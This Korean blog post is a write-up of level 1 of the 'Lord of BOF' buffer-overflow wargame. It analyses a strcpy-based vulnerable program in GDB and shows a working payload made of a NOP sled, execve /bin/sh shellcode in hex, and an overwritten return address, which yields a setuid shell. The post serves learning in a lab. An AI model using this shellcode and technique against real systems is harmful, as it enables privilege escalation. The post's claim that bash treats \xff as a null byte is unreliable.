본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL1 (gate -> gremlin) 문제풀이

by 깝태 2011. 8. 16.

해커스쿨에서 진행하는 버퍼 오버플로우 워게임이라고, Load of Buffer Overflow 이란게 있습니다.
쉽게 다운로드받으실 수 있으며 버추얼박스나 VMWare 로 오픈하기만 하면 실행이 가능합니다.

netconfig 명령어를 실행해 설정을 자동세팅으로 해주면 바로 자신의 컴퓨터에서 서버로 접속을 할 수 있습니다.
접속해야하는 정보는 /sbin/ifconfig 명령어로 확인이 가능합니다.

바로 문제를 풀어보겠습니다. 이 보고서는 Level1 ~ Level3 까지 바로바로 작성됩니다.

보고서를 쓰며 기본적으로 담을 내용이 있습니다.

소스코드에 대한 설명, GDB 를 이용한 분석과정 설명(중요포인트만 설명), 메모리구조 설명, 
페이로드 구성 및 설명에 대한 내용은 필수적으로 담을려고 하겠습니다.

[gate@localhost gate]$ ls
gremlin  gremlin.c  xodnr

[gate@localhost gate]$ ./gremlin
argv error

실행하면 "argv error" 문자열을 출력됩니다.
소스파일이 있으니 바로 확인해보겠습니다.

[gate@localhost gate]$ cat gremlin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n"); // 인자가 2개 이하면 argv error 문자열을 출력합니다.
        exit(0);
    }
    strcpy(buffer, argv[1]); // argv[1] 을 buffer 에 복사합니다.
    printf("%s\n", buffer);
}

전형적인 버퍼 오버플로우 기초 문제입니다.

[gate@localhost gate]$ ./gremlin aa aa aa aa
aa

[gate@localhost gate]$ ./gremlin bb aa bb aa
bb

인자가 3개 이상이여야지만 정상적으로 argv[1] 을 buffer 에 복사하고 
출력하는 과정이 이루어집니다. 이제 바로 GDB 로 문제를 분석해보겠습니다.

[gate@localhost gate]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)

GCC 버전을 확인해보니 2.91 버전입니다. 2.96 버전 보다 낮으니 더미는 붙지 않습니다.

[gate@localhost gate]$ gdb -q gremlin
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp // 변수 => 256Byte
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    $0x4,%esp // ESP + 4
0x8048456 <main+38>:    mov    0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 => (EBP+12)는 argv[0]
0x8048459 <main+41>:    add    $0x4,%eax // EAX + 4
0x804845c <main+44>:    mov    (%eax),%edx // EDX 에 EAX 값 복사
0x804845e <main+46>:    push   %edx // EDX 푸시
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax // EAX 에 (EBP+0xffffff00) 의 주소 값 복사
0x8048465 <main+53>:    push   %eax // EAX 푸시
0x8048466 <main+54>:    call   0x8048370 <strcpy>
// strcpy(buffer, argv[1]); EAX - buffer / EDX - argv[1]

0x804846b <main+59>:    add    $0x8,%esp // ESP + 8
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax // EAX 에 (EBP+0xffffff00) 주소 값 복사
// 처음부터 안해서 그런지 아까는 확정하지 못했으나 이 소스를 보고 (EBP+0xffffff00) 가 buffer 이라는것을 확신할 수 있다.
0x8048474 <main+68>:    push   %eax // EAX 푸시
0x8048475 <main+69>:    push   $0x80484ec // 0x80484ec 푸시
0x804847a <main+74>:    call   0x8048350 <printf>
// printf("%s\n", buffer);

0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop // nop 가 들어가있는건 왜 그런지 모르겠습니다.
0x8048485 <main+85>:    nop
0x8048486 <main+86>:    nop
0x8048487 <main+87>:    nop
0x8048488 <main+88>:    nop
0x8048489 <main+89>:    nop
0x804848a <main+90>:    nop
0x804848b <main+91>:    nop
0x804848c <main+92>:    nop
0x804848d <main+93>:    nop
0x804848e <main+94>:    nop
0x804848f <main+95>:    nop
End of assembler dump.

그러면 메모리 구조는 아래와 같이 구성됩니다.

LOW | BUF(256Byte) | SFP(4Byte) | RET(4Byte) | HIGH <- 그러면 260바이트까지 덮어줄경우 세그폴트가 뜹니다.

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA
Segmentation fault

예상대로 세그멘테이션 폴트가 떴습니다.

페이로드를 구성해봅시다. 지금 제가 갖고있는 쉘코드는 25바이트의 쉘코드 입니다.
그렇다면 NOP를 125 바이트를 먼저 날려주고 25바이트 쉘코드 그리고 110 바이트를 또 NOP 로 날려주고 
RET 에 처음에 앞에서 날려준 NOP 의 주소로 지정해주면 됩니다.

대충 그려보자면 | NOP (125Byte) + SHELLCODE (25Byte) + NOP (110Byte) | RET |

GDB 에서 브포를 걸고 대충 주소를 찾아보았더니 0xbffff938 이 나왔습니다. 저 주소를 RET 로 정하고
공격해보았더니 쉘이 뜨지를 않습니다.

[gate@localhost xodnr]$ ./gremlin `python -c 'print "\x90"*125 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*110 + "\x38\xf9\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
                      Í€8ù
Segmentation fault (core dumped)

으엇?!!!?!?!?!?!?!?!!!! 쉘이 뜨지를 않습니다.
알고보니 저번 IO 에서도 이런 문제점이 있었는데 저번 IO 에서 썼던 방법을 사용하거나 암튼 주소를 다시 찾아줘야합니다.
저는 그래서 새로운 소스를 추가하는 방법을 썼습니다.

NOP 와 쉘코드는 argv[1] 의 에 올라갔으니 argv[1] 의 시작주소를 알아내서 공격해주는 방법입니다.
printf("%x\n", argv[1]); 이런 소스를 추가해주고 바로 시작해보았다.
어떻게 입력해주느냐에 따라 argv[1] 의 주소는 달리지니 스크립트를 전해줘보았다.

[gate@localhost xodnr]$ ./gremlin `python -c 'print "\x90"*125 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*110 + "\xab\xfb\xff\xbf"'`
bffffbaf
1ÀPh//shh/bin‰ãPS‰á1Ò°
                      Í€«û
Segmentation fault (core dumped)
[gate@localhost xodnr]$ ./gremlin `python -c 'print "\x90"*125 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*110 + "\xaf\xfb\xff\xbf"'`
bffffbad
¿

응? 주소값도 정상적으로 나오고 그러는데 문제가 이상하게 풀어지지 않는다.
그래서 찾아보니 지금 우리가 입력하고 있는 이 쉘은 bash 쉘이다. 그런데 bash 쉘에서의 단점이 뭐냐면,
메모리 주소 값을 입력할떄 00 이나 \xff 로 입력된 값이 있다면 널값으로 보고 처리한다는것이다.
그래서 bash2 쉘을 실행해주고 새로 주소값을 확인해보고 공격해보자.

[gate@localhost xodnr]$ bash2

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*125 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*110 + "\x63\xfb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
                      Í€cûÿ¿
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)

bash$ my-pass
euid = 501

[Password]
bash$

성공적으로 정답이 출력되었다.